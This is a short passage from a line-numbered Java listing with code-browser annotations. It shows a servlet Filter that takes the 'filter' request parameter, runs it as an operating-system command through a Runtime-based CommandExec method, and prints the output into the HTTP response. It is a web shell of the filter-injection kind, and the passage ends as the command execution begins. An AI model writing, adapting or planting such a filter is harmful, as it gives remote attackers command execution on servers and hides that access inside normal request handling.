(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
| 13 | } |
| 14 | |
| 15 | @Override |
| 16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException { |
| 17 | HttpServletRequest req = (HttpServletRequest) servletRequest; |
| 18 | |
| 19 | try { |
| 20 | HttpServletResponse resp = this.getResponseFromRequest(req); |
| 21 | String cmd = req.getParameter("filter"); |
| 22 | String result = this.CommandExec(cmd); |
| 23 | // resp.setContentType("text/html;charset=UTF-8"); |
| 24 | PrintWriter out = resp.getWriter(); |
| 25 | out.println(result); |
| 26 | out.flush(); |
| 27 | filterChain.doFilter(servletRequest, servletResponse); |
| 28 | } catch (Exception e) { |
| 29 | e.printStackTrace(); |
| 30 | } |
| 31 | |
| 32 | |
| 33 | } |
| 34 | |
| 35 | public String CommandExec(String cmd) throws Exception { |
| 36 | Runtime rt = Runtime.getRuntime(); |
nothing calls this directly
no test coverage detected